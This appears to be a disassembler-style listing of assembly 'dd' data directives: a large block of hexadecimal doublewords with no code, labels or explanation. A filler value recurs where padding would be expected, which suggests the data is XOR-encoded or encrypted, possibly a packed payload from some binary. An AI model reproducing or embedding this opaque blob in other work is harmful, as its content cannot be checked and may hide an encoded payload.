		dd 87DE412Ah, 6E0E5A1Eh, 0C9F3C772h, 23DE7994h,	615D9D16h
		dd 7A1D560Ch, 0F0FD3DEh, 5A00E188h, 6E3CA636h, 3075C272h
		dd 0B658ED89h, 727D027Bh, 1AAB8E53h, 6EF1D0E8h,	3224FE5Bh
		dd 77A22A09h, 3214F70Ah, 0CDD6B8F8h, 59F1CE8Eh,	0B05F70Ah
		dd 3A6DC9A3h, 6158EC71h, 0A132A5B1h, 0D8406333h, 6D4A6BDCh
		dd 0B0C6881h, 0D853DDF2h, 6E3D2E0Eh, 4F09F172h,	0A19EED89h
		dd 0E206527Ah, 51C7C751h, 418AB2FDh, 0E056C684h, 51C7C349h
		dd 0E1BD3AFDh, 0B2CD561h, 0E189D888h, 0C35B2888h, 0E84D120Ah
		dd 0CEF5DE0Ah, 87D96002h, 0BB2093EFh, 0AC4662DBh, 0AE43B76Ah
		dd 0A3F24B88h, 8A4E6AB5h, 0CEF56AD2h, 1AF234ABh, 0CE3EB767h
		dd 0D1F6AE02h, 27C1BFA5h, 74F09C1h, 2CC2075Eh, 0BD994388h
		dd 653A0983h, 97C46F05h, 0AD6331EAh, 60B2504Eh,	9EF3ED11h
		dd 0E379B11Eh, 70CFD39Dh, 668CE5C1h, 7079766Ah,	2593BE6Bh
		dd 0AF560383h, 0A1C6AE01h, 0CEF6AFD6h, 0D138DD6Dh, 0A4FC3774h
		dd 269741E1h, 0A37FE430h, 3 dup(0A37F41E1h), 0A7AE3AE1h
		dd 0CD4B41E1h, 0DA63781Dh, 0AC0A4500h, 0C84D722Ah, 0E4F14D2Fh
		dd 0B0690AF3h, 0ECF4ACF9h, 359D9CC4h, 4880B8F5h, 2EEAABB0h
		dd 2DB47D7Fh, 0AA2E687Eh, 33E88F6h, 960C6125h, 28C08D54h
		dd 5DC2FA34h, 50F18E71h, 1FF76959h, 91DE6757h, 65FEA677h
		dd 0D295B4EFh, 66CB4C9Bh, 0FDEEE2EFh, 61E4478Eh, 5FFAAB59h
		dd 0FC5477A8h, 63DF21Bh, 0FA4BA024h, 9EBC0D29h,	0AADEE4h
		dd 2EAADA10h, 74E24F8Ch, 0B3144F7Eh, 8447CB05h,	0DC135283h
		dd 8747CB05h, 3BEC1559h, 25521EFh, 7344DCC9h, 0E148134Dh
		dd 58CC73F1h, 6F9CB653h, 0F28A865Dh, 47A14DC0h,	7F2D6958h
		dd 0CD550A97h, 0A910341Dh, 0DB8A865Eh, 852E5200h, 0D6E79168h
		dd 7B76A09Fh, 289FF318h, 1B3B53FDh, 0A4D5212Dh,	0DAE541E1h
		dd 0F99AEA25h, 81F66D8Ah, 5C3AE127h
		dd 0BA187CBBh, 27CC06B5h, 0A37F9E2Dh, 0DA1441E1h, 68EFF82Bh
		dd 0DAC27E7Dh, 1EE22528h, 7135E1F6h, 0BB05DAA2h, 0DA1A676Dh
		dd 0D17E242Fh, 5C0E3CA8h, 0AA0E54BBh, 645424FFh, 43F64D04h
		dd 0CA83E5ECh, 86DE7FE3h, 0B4FEFF65h, 2CC75B19h, 0F4E99A57h
		dd 2B389AB0h, 563753B0h, 63B17492h, 9BB519Ch, 0F231F2EBh
		dd 0BEB255B9h, 81D50107h, 63E4F6A6h, 134A8680h,	535E3CD0h
		dd 0A706A091h, 0ECB7FFFDh, 0E85C8FBDh, 0A37F3F4Dh, 0C852FEABh
		dd 32E5E0EDh, 658AE471h, 805AEC3Fh, 0C276E90Bh,	6F11106Dh
		dd 0C276E904h, 8404656Dh, 63CE6C32h, 2160C92Fh,	0D7FCEE91h
		dd 0A3787E3Fh, 53DF2E1h, 491F623Fh, 0B545EE4Ah,	13EE910Ah
		dd 3B92EDDEh, 56374C25h, 498DE18Dh, 0F08A8746h,	7F77EB3Bh
		dd 33C2F827h, 91B5C70h,	50FFFB70h, 65BA6959h, 69560AF6h
		dd 0A52224FCh, 0F77F41E1h, 9357F627h, 6A271747h, 0DADA446Ah
		dd 0EBBE2629h, 11DCC191h, 923273B2h, 572BCD6Fh,	12BD7AACh
		dd 47EC95EAh, 0FB4E29B9h, 99526D1Ah, 0E125454Dh, 4E163343h
		dd 0E07A0574h, 7C441E05h, 545434DCh, 65360EF3h,	3CF431E1h
		dd 0CB28E3D3h, 0C65F7022h, 0CA6F3224h, 6E222BDDh, 0AFAEC388h
		dd 0CE45FBDFh, 76F684E1h, 0BFCFE50Ah, 0AF782792h, 79D6ED1Ch
		dd 0A8B1E55Ch, 0E78FBD8Eh, 0A41B0709h, 0DA9F4B20h, 0A372F5A8h
		dd 6623C3E1h, 0E8F14D68h, 40BA211Fh, 57206C9Dh,	0CB819915h
		dd 7A32BDB0h, 0EEBD50F4h, 0B83B98D8h, 90696423h, 0BA68D645h
		dd 0A865D0EEh, 76CDA057h, 0C5150F55h, 98DD11Dh,	796E5F5Eh
		dd 0F07FAF0Eh, 2280302h, 90F6DE44h, 8D55F501h, 0A533B3E8h
		dd 0DA9F67BDh, 0A378A683h, 332396E1h, 0E0654455h, 0A8607055h
		dd 2A225D46h, 0A93BE959h, 0F5392936h, 270A8737h, 5D1D7D7Ch
		dd 894F124Bh, 6EE07056h, 48913188h, 0F75226ECh,	0A4630780h
		dd 0CA841E1h, 0D12EB64Bh, 57205DE8h, 0C71F1166h, 0B825683Ah
		dd 0A87597C2h, 0AF6E267Bh, 78234110h, 0C7605633h, 824BDA04h
		dd 54496F57h, 7B056445h, 0C64525F0h, 0C0360E0Ch, 1EF3785Fh
		dd 0B24C8C8h, 0CBFCBC31h, 2C775762h, 89470EF4h,	9C6A2067h
		dd 96F036BBh, 68CBF91Ah, 5871A383h, 0D144BDEAh,	0ED758FF6h
		dd 23A46A99h, 0C565C7B1h, 0C8F1D5D2h, 83B83F26h, 0A8174B5Ah
		dd 0C6988BBh, 657673E2h, 0C0ED513Fh, 66260352h,	2F3A4D68h
		dd 0E520687Eh, 6FBE73CEh, 43AAE2A4h, 71CB56E6h,	3FB6BC6Ah
		dd 44C390D0h, 0AF0241E0h, 0AF0DC8D0h, 38A0115Ch, 119B9872h
		dd 0DA2DD1F9h, 8753A59Ah, 387EC13Fh, 4D277B11h,	19BC75B6h
		dd 0D140EE70h, 38ECBDD2h, 49E6E873h, 7E57F603h,	0DEF205F1h
		dd 0A37F14D9h, 0B9BEE4E1h, 8C56F320h, 0A1240A40h, 9753F202h
		dd 73DA185Bh, 91A21F1Ch, 73DA1854h, 92A1201Ch, 90D91955h
		dd 9753F301h, 99F4C2DAh, 0CC7F41E1h, 0C56774A5h, 0A4E3D463h
		dd 0B0FC41E1h, 8834957Eh, 99F49255h, 37CCA40Ah,	0DEF1330Ah
		dd 0A37F1A7Eh, 0A4E62A62h, 0A06041E1h, 8063BC9Dh, 49B2FE9Dh
		dd 0E1F2ED3Bh, 302A2F5Ch, 4A572F37h, 6D1FB958h,	539A4BF3h
		dd 74D542AEh, 5BA67848h, 88848A4Dh, 0A4E3D362h,	0AFF241E1h
		dd 0A37F1A7Eh, 25CCA40Ah, 5A5874A5h, 0A4D7E01h,	4CD9C589h
		dd 59588701h, 5BC35C04h, 0E2F2370Ah, 0A37F1A7Eh, 0A4E3D662h
		dd 806041E1h, 574DBC9Dh, 0C567899Dh, 0A4E3D463h, 0E8F241E1h
		dd 0A37F1A7Eh, 60C36C08h, 0BF2ECFEAh, 81C74BE1h, 952B5DE4h
		dd 7AC62D2Dh, 0FC345A13h, 49114CABh, 0C47CD37Ch, 43BDF2B5h
		dd 372FA3B6h, 4599A3D3h, 39D88F01h, 0B0E7CE3h, 0C485C23h
		dd 50E54D72h, 55404FC3h, 877F6C13h, 0A6794898h,	7B809316h
		dd 806C2794h, 729386E0h, 0A40E74EEh, 1479DC3Eh,	0A37FE1E4h
		dd 17h dup(0A37F41E1h),	47BA41E1h, 6C7F4085h, 0A37F0B58h
		dd 3E355069h, 55863D8Ah, 0F53A3FF4h, 6DE6E158h,	0A34851D5h
		dd 3E37146Ah, 55823D8Ah, 2AC23FF4h, 76C39877h, 688AD5BBh
		dd 55D3FB8Dh, 51E0FA82h, 0EDB6C696h, 0BB073274h, 0B0076631h
		dd 0C73314A2h, 0AD04656Dh, 6AC894C4h, 0E2E67E2h, 0AC3834A1h
		dd 8F520D2Ah, 0A4AB76BFh, 0CE8573Dh, 178A8746h,	72E5B6EEh
		dd 6086537Ch, 0FFDCBB52h, 0B538B6E5h, 250516h, 888A8632h
		dd 0C4472709h, 0F8B562EEh, 15D573A0h, 2588C4B9h, 9B20472Dh
		dd 8E1C1C32h, 1E27472Eh, 0ED090A57h, 3D782A17h,	71E758ACh
		dd 8A6C6654h, 83B8132Ah, 6D76415Ah, 574EF154h, 0C04CDA69h
		dd 48CEC3F8h, 680BBBCDh, 56D63251h, 0D5AC53EEh,	5BE4E0EDh
		dd 3D2F1372h, 0A4416FCEh, 55E2D0F6h, 6C00E55Ch,	0C55C152Dh
		dd 98A8C77Bh, 0BE6FA892h, 55E2D082h, 86D3C461h,	4D13ACABh
		dd 5A157EA4h, 98AF3026h, 62EACB92h, 0F5077763h,	0C752C7CCh
		dd 7FB71C4Ah, 852461B9h, 9F5652A8h, 0CFDEEA27h,	0EB6F167Eh
		dd 0A18A88E4h, 79C79399h, 367057EBh, 0D5F6408Eh, 61D90F4Eh
		dd 6E1B3D5Bh, 5C079C62h, 0A5530ABBh, 0BF5921CCh, 51096E15h
		dd 9F4A2E0Eh, 0C227FCh,	3AE12629h, 3BB1898Fh, 0A37F5A33h
		dd 0E81B67E1h, 1924F62Fh, 0CC9B38A2h, 62F67D8Ch, 0DE95AE1h
		dd 0FC8A866Dh, 4CAD2717h, 61D5D754h, 0E2796959h, 5F71B795h
		dd 3F52E3BDh, 0C8B0ED7Fh, 0C0366731h, 2DE6C8B6h, 0FD7F41E1h
		dd 9A694C4Bh, 61D5D755h, 43D96959h, 0B3569D9Fh,	0BD6EF0A7h
		dd 6E1D8ECBh, 61D5D754h, 0E2796959h, 0A93D4F05h, 1CBB0C2Bh
		dd 4A04594Ah, 57259536h, 0CE9762ACh, 0C4D1D1FBh, 262217B9h
		dd 0B39BFC36h, 0AA96A62Ah, 4847875Bh, 0FD558C81h, 32A611EFh
		dd 5454F2C8h, 0D380B8F4h, 5BCF7F7Ch, 2CC7694Fh,	0F26BCC12h
		dd 0DA9F4C92h, 45EFE5DAh, 8B5D9FAFh, 0CE77FD0Bh, 7F7F41E3h
		dd 40F2F154h, 0C78A8746h, 9F7602F8h, 8566000Ah,	0A94F8196h
		dd 0E1C6EAF0h, 678A8737h, 0A93BEF5Fh, 61A4B6FFh, 75E36959h
		dd 5F2C6D7Dh, 50F7C473h, 0BB906959h, 409D8EBCh,	66E885C0h
		dd 0F57D4946h, 9F4A2EB6h, 0F3C227FCh, 0D819A05Dh, 0AB4D281Ch
		dd 0A37F3F4Ah, 0E0E12EC2h, 1E4DD80Ah, 0E003D8F7h, 0B917B776h
		dd 0EB9C4C4Bh, 5F2733FFh, 5C0BA7C9h, 923FFABBh,	2A816B21h
		dd 330D6959h, 6E1DCA50h, 6D1ED606h, 73885BABh, 0AC46FD24h
		dd 5D974DC2h, 1FB80787h, 79E6C8B5h, 0FD7F41E1h,	9A694C4Bh
		dd 23DF155h, 43F66C71h,	0BC68DE4Bh, 563731A8h, 608D8D7Bh
		dd 0DDF4ACF8h, 0A93EA5F3h, 1CBB0C2Bh, 0D46A6654h, 5C0E3B9Dh
		dd 613C85BBh, 0EF3DF588h, 0B5861039h, 0AEB4EE05h, 5C3ADDA3h
		dd 48D2A3BBh, 0F13BC5A6h, 0F9BB181Eh, 74BF1516h, 5B35517Eh
		dd 6E1DADC9h, 5C079C62h, 0E7902FBBh, 0BAC43A50h, 76DDD355h
		dd 60B180CEh, 9194D69h,	0E2EDAF46h, 0A90CD48Ah,	51AA4736h
		dd 27DB6837h, 0A4029B38h, 66B741E1h, 5F7D4946h,	5C0BA7C9h
		dd 0A5D5FABBh, 0DFDBB8A0h, 333E0D86h, 773C8DF8h, 4DDB1830h
		dd 608FE4B6h, 50F7C473h, 0EF906959h, 5C0E39BBh,	330EB7BBh
		dd 0B863D250h, 0D9125B52h, 834BDA04h, 41135283h, 0E25C2A6Dh
		dd 0E3D6018Fh, 35E54F05h, 0FD7F41E1h, 9A694C4Bh, 40F2F155h
		dd 0D08A8746h, 5C3AD241h, 2AC081BBh, 976F6654h,	907B73D5h
		dd 278A8737h, 708A0D90h, 62ACBB09h, 81C6EB4Eh, 0DD166A7Dh
		dd 0D195F820h, 5C3AFF91h, 0E33731BBh, 563731B9h, 0C346DB2Ah
		dd 2A87692Bh, 4D376959h, 1CBB3B7Ah, 0A37FDC8Fh,	0BF1B23E1h
		dd 0EAB4616Ch, 2EEF989h, 6045C0E6h
		dd 4CDA6959h, 4D08EBB5h, 0B3A26959h, 532C6A18h,	1C6C2C1Dh
		dd 67C8C0EBh, 0E3EA5776h, 0F6026625h, 0A28A8746h, 3751168Ch
		dd 0C9ADD596h, 61277E14h, 0D8EFB6DCh, 0D7542228h, 5C0D5E82h
		dd 7A3582BBh, 5C079106h, 0B2542BBBh, 2AB7C864h,	0D2F17BFAh
		dd 0A37F5676h, 612609E1h, 8C1B3D5Bh, 563731B8h,	39F779FEh
		dd 5C0A6CFFh, 0F7FBC4BBh, 7791FF84h, 88C87376h,	60E183A3h
		dd 0AC46FFE0h, 5E775B77h, 9EF9EABDh, 864EF2A3h,	0C59300F5h
		dd 0A37F4080h, 360A583Dh, 0AB47DB8Ch, 2DDA5B7Eh, 51A0BB06h
		dd 668A8746h, 0A71B1A40h, 0A079F820h, 33EC8B5h,	0A7B12C25h
		dd 9113074Ch, 0E16C7743h, 1583F5F3h, 56374C25h,	0E78FBD8Eh
		dd 0A2F08B09h, 168A8737h, 0FDEBA950h, 605FE3D3h, 687F6959h
		dd 1A507182h, 422E59C7h, 21B690h, 56374C5Ch, 0E230CCC7h
		dd 568A8737h, 0B3057790h, 37B3AAC6h, 0CAAF2394h, 0ED5A1DEBh
		dd 36A0C59Dh, 572054E5h, 599D4B7Dh, 122217B8h, 51C08FD7h
		dd 9D742D54h, 6939674Dh, 52AF2FC7h, 429150F4h, 0B046545h
		dd 0F1598DAEh, 0FE3B01B2h, 0BBD9A610h, 0ED908D8Fh, 59B0A580h
		dd 57A57E91h, 74C35106h, 0C4D20A45h, 0A40FB927h, 0E38D41E1h
		dd 0F99AEA25h, 81F66D8Ah, 5C07B327h, 9B0C46BBh,	646A383Eh
		dd 9EF032E2h, 66D53598h, 0D67B2F9h, 0CC2A350Bh,	6E532A16h
		dd 0BB4C99A0h, 640A9BA2h, 1D81818h, 602BB0h, 85E4B5CAh
		dd 5CBD8E2Ch, 0B4ACB5BBh, 7456C219h, 1389430h, 4D6290B9h
		dd 0DAD40259h, 0F99AEA25h, 604CBFD7h, 4DDB6959h, 1A2BB6B6h
		dd 0A626F4B8h, 0A93B52FFh, 42964DC2h, 8293BA9Ch, 1F2E67E1h
		dd 87AFFBF7h, 8013A760h, 2EAC5B6Eh, 582E67E1h, 0F5E31A25h
		dd 71E08E16h, 627AEAAAh, 375A7AB2h, 0BF0C7254h,	56F0B1A5h
		dd 0D4D1C00Eh, 7706DD00h, 53F21Ch, 67A8E4C2h, 1BB96A9Ah
		dd 0C31309C5h, 15D76C65h, 9D2CA1C3h, 44FC0BBh, 0DE29FDE7h
		dd 0A434082Eh, 0CFE41E1h, 27C88845h, 56372DF0h,	0A4AD35D2h
		dd 0F3B4F0A1h, 0A37F4091h, 590B5DA4h, 604D8E71h, 36926959h
		dd 0ED7E5889h, 56372DF1h, 0D6EF36D1h, 503F90D2h, 0F46A21A9h
		dd 9D8A171Dh, 0A4413BF3h, 5669BFF6h, 0C2B1E55Ch, 621DD355h
		dd 0C413130Eh, 0A11001CEh, 90341E1h, 0ED116044h, 5C0D34A0h
		dd 6023BCBBh, 6E1B2C4Ah, 5C079C62h, 0BC0F2FBBh,	7A999D5Ah
		dd 93BC9662h, 0A0C0C1A7h, 3383D5Bh, 51AAEE25h, 27DB6837h
		dd 0A40D9B38h, 66B741E1h, 5F448744h, 5C0BA7C9h,	449499BBh
		dd 563731BCh, 162478B6h, 0F7E47CDEh, 7642CF8h, 14E1ABD8h
		dd 0F0E75CAAh, 0EF383E55h, 710C3D39h, 9E0C11A2h, 1C8472BFh
		dd 56F9D354h, 239B92D3h, 987A4835h, 5AFA9EA7h, 0A37F3F4Fh
		dd 0DAC2BB1Bh, 0BFEFF82Bh, 5C07C46Bh, 86DD07BBh, 0E81F5252h
		dd 976F6655h, 0A0BB142Bh, 7D1C818Ah, 6124366Dh,	0F4626959h
		dd 2AB9A61Dh, 2526959h,	0E271B97Eh, 0FB782629h,	5C07CA9Eh
		dd 0A70056BBh, 42A36669h, 33EC8B5h, 920C6125h, 40D39F68h
		dd 5C0E44D0h, 0EF7071BBh, 4049B78Ah, 0CE055C6Fh, 2B210442h
		dd 0A2BFE342h, 7FACBA03h, 989224C1h, 0F468A127h, 499D4C8h
		dd 0DD8DAF0Eh, 2AB7C776h, 0D2F17BFAh, 0A378A376h, 612609E1h
		dd 8C1B3D5Bh, 563731B8h, 5FD8FE2Bh, 7346FFE0h, 1C7A144Eh
		dd 0A4843E3Ah, 900B0938h, 0B768DE4Bh, 5F6C6655h, 6B337F71h
		dd 0FCDB558Fh, 0A3787B88h, 61D923E1h, 8C1B3D5Bh, 563731B8h
		dd 9A1D354Bh, 0A77430E5h, 44C3F820h, 9CB903A7h,	80D67208h
		dd 579FE19h, 6058C0E6h,	0F3E16959h, 22DD742Dh, 9B1AFC36h
		dd 579FD28h, 64519DDDh,	863FB47Dh, 45FC6D9Ah, 5CE4A60h
		dd 0B995221Dh, 49D0D61Ah, 0D384CE9Eh, 5CB265A7h, 3B95BBBBh
		dd 25521EFh, 0A857170Eh, 77006959h, 0D86597C8h,	0A37E32A6h
		dd 0D54AB6E1h, 0BAB29D58h, 213D7791h, 56374B7Ah, 11E4B5C9h
		dd 0CC286BBBh, 56374DD3h, 5C079614h, 2AEC07BBh,	1D776959h
		dd 8F8A8746h, 96372EECh, 0EC93B232h, 0B8AD1F8h,	35233598h
		dd 4520C3Dh, 6A28578Ah,	0F3414049h, 94CA8746h, 10A611EFh
		dd 51042287h, 0A375C96Ch, 1597E1E7h, 8311E643h,	40576A43h
		dd 0B66E6741h, 4432BDB1h, 6FBE90F9h, 0CF4D80h, 0BFEFF82Bh
		dd 4EDEC6B0h, 2C1F73B8h, 0BC18B634h, 0B68B0852h, 65F696C6h
		dd 0F906FFACh, 0E22E5F26h, 39C32B0Fh, 0A3713852h, 0FD5570E1h
		dd 73194AAh, 0AC79288Eh, 556E9Ch, 0FA3EC597h, 0BBB9899Fh
		dd 0E6002C57h, 93303676h, 0E6002C57h, 0B325E61h, 0BF35FDBBh
		dd 0BB5850FFh, 6A8FD47h, 0C97127D7h, 0A54FE5E9h, 3D0752FFh
		dd 0A34FB5FFh, 392B50FFh, 917F6CFFh, 0D8FBC492h, 33E0FAD0h
		dd 0EB37B5D5h, 0E419FCAAh, 283F0866h, 0EE1973CDh, 13EDE8D4h
		dd 4D0424A8h, 0E8B56959h, 402F9CF9h, 0C6DD0CDCh, 3C8C900Bh
		dd 5669B624h, 3B70E4E5h, 0A139AC8Fh, 0FC54A08Dh, 0A701B01Bh
		dd 17BC37D8h, 78234117h, 55605633h, 5CBA2F2Fh, 961433BBh
		dd 0D8EFB6DDh, 0C5952228h, 53E070CEh, 0D647B0ABh, 2E2CCF63h
		dd 0F5CD0508h, 4D5A950h, 579541D6h, 0BC37373Dh,	0F9EDF5D7h
		dd 929927B9h, 18B88992h, 0B866ED9h, 0D57CE0EBh,	0EC26DCh
		dd 0EEA500AAh, 47C250AAh, 53E8AFABh, 0EE8A873Dh, 0E117AE08h
		dd 638A873Eh, 2A239EABh, 0EEF2F154h, 0BE2067E2h, 95696830h
		dd 0D69F2A65h, 0A3AE3426h, 0D858F93Ch, 0E04A0DFAh, 9A153442h
		dd 6A20464Ch, 7557F603h, 3CBD194Bh, 92EC44E4h, 9DE0D092h
		dd 342A0B45h, 0EEB479BCh, 941C3BAAh, 0FE363E42h, 1EC5EC35h
		dd 8D1AB118h, 0EDC749Ch, 0E0A099C7h, 0C1C2C2CAh, 69205113h
		dd 1B654DE1h, 0DB63A5C1h, 0A37B96D9h, 0BF46CE1h, 1880E1C5h
		dd 61CB84F9h, 3FEABBCFh, 2D71DED2h, 4E218ADAh, 0A17AA592h
		dd 7BB4F0A1h, 0A17AA592h, 0E277423Ch, 9173B5F8h, 49E450FFh
		dd 0EBD959F2h, 0A6240197h, 0A05E52FFh, 3F1274ADh, 7BFD7343h
		dd 0A407EAAAh, 0AAB750FFh, 4CE72DAh, 703ED380h,	33A59927h
		dd 86888B40h, 37105B1Ch, 0C69295C9h, 0E493D0F6h, 0B93C67BCh
		dd 0A37246D7h, 0FA44DCE1h, 28B570B6h, 0FF5DF489h, 245A8AB8h
		dd 0DD41CEE2h, 0FE38184Bh, 0F289D003h, 0ABCDC1B1h, 0F289D003h
		dd 53E094CCh, 89F9646Fh, 0F87450FFh, 25C2BCE3h,	56374B76h
		dd 193067DCh, 1C9EC39Bh, 462B6CB4h, 0D9B74A60h,	8020668Bh
		dd 0F7FBB1F1h, 7CEDBFB3h, 917F491Dh, 79D60C92h,	8CB1853Ch
		dd 3DEF9D63h, 0C2CA079Fh, 84915B11h, 631D50FFh,	0E1750260h
		dd 0E69B3A62h, 8C69D862h, 7C2E6681h, 990F0DA6h,	0B0A8EA2Eh
		dd 0C511CCFAh, 83C3C4D6h, 7227C58Bh, 736CCC4Fh,	9BC63B23h
		dd 10DF45E3h, 1E28F42Eh, 34F37123h, 1BEE30B0h, 0B6ED3D71h
		dd 0CE9F3C7Fh, 7BD216A5h, 6FFFDAD5h, 687F569Fh,	0D329580Bh
		dd 2F336858h, 437D81E5h, 2FB9E9CDh, 0EC902EC2h,	29E381E5h
		dd 0FDA1D095h, 29A512DEh, 249CB5C3h, 984AB9Dh, 0C0A39ADAh
		dd 0C1C1C2Eh, 5B0BCE5Fh, 8A6C645Ah, 5CB45AD4h, 0A0E653EEh
		dd 8D4B425Bh, 6F52ADAAh, 32F0FF04h, 0A6738C8Fh,	507F41E1h
		dd 83D39A2h, 0A318112Eh, 6520C44h, 4969642Dh, 35CEE4Ah
		dd 49686512h, 45CEE4Ah,	0A61B6613h, 65F0B4Bh, 37B6642Dh
		dd 0DDF1620Ah, 0A37F1A7Eh, 0CBE33AFCh, 0C964748Dh, 74B5h
		dd 0CC7F3F71h, 0C9367495h, 0A7A6C2EFh, 267F41E1h, 586015D7h
		dd 7063BC9Dh, 7C2ED79Dh
		dd 0DEFFA6E5h, 0A5DE87B0h, 5AD7E933h, 0DF902EC4h, 25E46123h
		dd 1357FC23h, 5F805114h, 7A676262h, 25B17EF3h, 0DC74A9E4h
		dd 70198499h, 0A7ACC59Dh, 0EB7F41E1h, 0A37882E0h, 0CDC30C0Ah
		dd 4C079ADAh, 88348A5Ah, 1E85984Ch, 0A37F14BCh,	0A7A5C2E1h
		dd 0CA7F41E1h, 23647495h, 0C90F7495h, 0A83BC2C2h, 247F41E1h
		dd 0A37F1322h, 88D498E1h, 865E3855h, 75243FF4h,	670A1FBBh
		dd 0A7E6E15Ah, 10A587BEh, 3E69E606h, 9E1C58Ah, 0C91DB5DFh
		dd 31C04D16h, 9C479D8Ah, 44E6E18Ah, 2048020Bh, 491B74CEh
		dd 0A260EE42h, 2C7F41E1h, 31222D06h, 0CF2D38Ah,	8E6E18Ch
		dd 0E7F3F6Fh, 30705836h, 0BCF2D38Ah, 0A4E6E19Fh, 417F41E1h
		dd 0BB621162h, 0A37FF1EBh, 84E3FEE1h, 2565B673h, 237D619Fh
		dd 64F03D5Fh, 0F551B81h, 8FE3BB7Ch, 31E7DD16h, 0FC726F8Ah
		dd 0A3E6E1AAh, 31D1491Fh, 13E1C08Ah, 2F888A6Fh,	0D47540E1h
		dd 0FE6E073h, 48962A21h, 0FA6E02E8h, 34C55F36h,	2A50A3D7h
		dd 79C5C96Ch, 983D1D2Eh, 3C782B59h, 8B7392B7h, 0FF5AA2BEh
		dd 86C95C4Bh, 68441E95h, 30FF4C79h, 0F4C96795h,	0E4C286B1h
		dd 8AA83A08h, 0F146FBF9h, 87DE195Dh, 7849DEA0h,	2A83E44Bh
		dd 7BF73275h, 70E69FCCh, 93366E54h, 34DEF101h, 9AA0229Fh
		dd 0B8ECDDFAh, 9A629C5Bh, 0D6BF80A7h, 0AFFB974Bh, 76515CE8h
		dd 0A4811A80h, 0A118F826h, 93003C8Dh, 0A141AE9Fh, 0A38938A3h
		dd 0BE8AAF0Eh, 376567B6h, 8841B79Bh, 0FBCEAE9Fh, 884C504Ah
		dd 736ABB16h, 0ABD30649h, 3BEF64A2h, 7555CCE7h,	0DD9F966Eh
		dd 0BBE35274h, 884F5EE7h, 275899Fh, 14E34AB6h, 94F2EB5Ch
		dd 0D569F2FCh, 0A44E8316h, 3B8F0649h, 1C424EF6h, 0C9CDD25Ah
		dd 67C42101h, 43BD8C6Ch, 0A3C1FE0Dh, 12F2343Eh,	8841AD71h
		dd 0B93A2E6Dh, 0C94B857Bh, 77A3B25Bh, 2B4B281Fh, 2D750301h
		dd 92033595h, 98C57F94h, 0CEECAEE4h, 0A38C2797h, 0A6387E40h
		dd 0F5EF256Fh, 5C872835h, 0ED371CC2h, 0BA2A625Dh, 0AE397920h
		dd 0CDE4F606h, 0A662559Dh, 9894966Fh, 6AD74E68h, 0AB3F4E6Fh
		dd 32A6ACC2h, 650FF01Fh, 8FBBBAC2h, 0A63F4EFBh,	0C967E46Fh
		dd 0EDA873AEh, 39BA0BCDh, 63CC62E9h, 9FE59EE8h,	0A9B89B4Dh
		dd 5D94D019h, 8DA3CD9Fh, 0A63F4E60h, 0A25E57A1h, 9CB742E3h
		dd 0CCF138FAh, 0C8E3B482h, 9253076Dh, 0C03656A3h, 0B01D4699h
		dd 0CBCFF874h, 22804F47h, 0A63F4E30h, 95F0CC76h, 0A63F4F07h
		dd 0A5B49EC6h, 0DBF88688h, 83FE9035h, 0F804A9FDh, 0F5339DB7h
		dd 71662D08h, 0DFD918F0h, 662D0A97h, 300E34FEh,	0FBF919C2h
		dd 0AA527608h, 0B052263Bh, 0C14E308Ah, 52D1B165h, 0C14E2F47h
		dd 0C14E2F40h, 1E1AE040h, 0C6E2F47h, 0C0110559h, 2E151AC6h
		dd 184EFE5Bh, 7B5EC30Eh, 0A0DD68Ah, 0B7EC901Ch,	0CF9D5760h
		dd 0DC8886DFh, 0E69C5714h, 8BAEFB4Dh, 804854Eh,	0A22EF110h
		dd 96A9A9D5h, 9588343h,	0A85BE9E8h, 9135F775h, 0C1FF591Fh
		dd 94B92864h, 2D11BBCEh, 74C1E683h, 33B035A2h, 434A3815h
		dd 427A7C9Eh, 4B05B0BCh, 76623240h, 73D01447h, 387FDD88h
		dd 12A9DD8Fh, 32311049h, 79BFD5D3h, 59ADFB32h, 929033BDh
		dd 4FBC83E4h, 7E462FB5h, 28D32173h, 9D2C309h, 0A925F89Ah
		dd 0B3F587Ah, 0C378ED2Bh, 19FC9ACh, 0AAC22823h,	44FD3DC9h
		dd 2DA6F8A9h, 42DAFCBEh, 573F52Eh, 0F80C12ACh, 3A316768h
		dd 2F08389Eh, 0CBF7D2E0h, 1833754h, 0CB8762DBh,	940AFFB9h
		dd 80E7C6D4h, 0AE4E2F47h, 0DD89F481h, 0A5BC4303h, 2BE067A0h
		dd 0B2D138ABh, 6D0D4178h, 5DF9AA02h, 0C50CC6D4h, 454E2F40h
		dd 0DF90876Ch, 32FB05E7h, 4D240281h, 1DAEE0E6h,	84245A4Bh
		dd 7D2EB2A5h, 3B47417Fh, 505711ACh, 0DF907F89h,	8CE69368h
		dd 85254952h, 66823072h, 0CD6012B3h, 0ED627F3Fh, 0AB5D3ACEh
		dd 3E021A77h, 63513BD9h, 7822E0C5h, 0E5C5B6ABh,	9F790965h
		dd 34FF07A1h, 60D6993h,	7E3168C2h, 0E850D68Eh, 9E06CA1Fh
		dd 0AB2EB9CBh, 82433015h, 0FCD8CB2Bh, 0C14A5DBEh, 55206E26h
		dd 0E54D10A4h, 0E0D8EA1Dh, 0D2DEC7A8h, 14CD8D1Eh, 9F6D5EAAh
		dd 0CB829B57h, 51E02DC7h, 85F113C2h, 59731132h,	3D569F89h
		dd 0F0279E7Eh, 436CA7EDh, 86CDA029h, 6BDC2891h,	8E6BF723h
		dd 1AB34FE5h, 119DA030h, 4BCB8F61h, 3B14D75Fh, 6BECDFEBh
		dd 2D8C2F40h, 5B60C502h, 0CD2A37B4h, 48288860h,	0EC0633BCh
		dd 0A9BAB645h, 0E6EB4D73h, 9212B5BDh, 0F1DE9671h, 1DD348BFh
		dd 54A44FBEh, 71D46EAEh, 1E631DE7h, 33F4D338h, 91748615h
		dd 1AFFD27Eh, 51311049h, 0FEFE6833h, 294F80A3h,	0A0B1A6A1h
		dd 0D421BDE5h, 1833E9Ch, 0B981944h, 3B0AE4F3h, 0C14B53EBh
		dd 2C202F40h, 0CFDC728h, 0A776174Fh, 0CCAC43Bh,	5FF166A1h
		dd 0A50721A5h, 7AB2FB3Ah, 17A44B11h, 33118A36h,	229CADFAh
		dd 0ED57D68Dh, 9C132D64h, 92C5163Dh, 9A588750h,	0BCC8FEAEh
		dd 0C330AFC2h, 6A9F891h, 3BFA78ACh, 0FC87A315h,	0F1F2830Eh
		dd 788C4F7Bh, 4757F271h, 0EC74299Bh, 450349Ch, 0CCA2F00h
		dd 0B9A10559h, 59D9B775h, 0D26C05CAh, 0C1548E32h, 52A4C340h
		dd 51297B47h, 2B563745h, 0F65873F9h, 84411A75h,	3165C827h
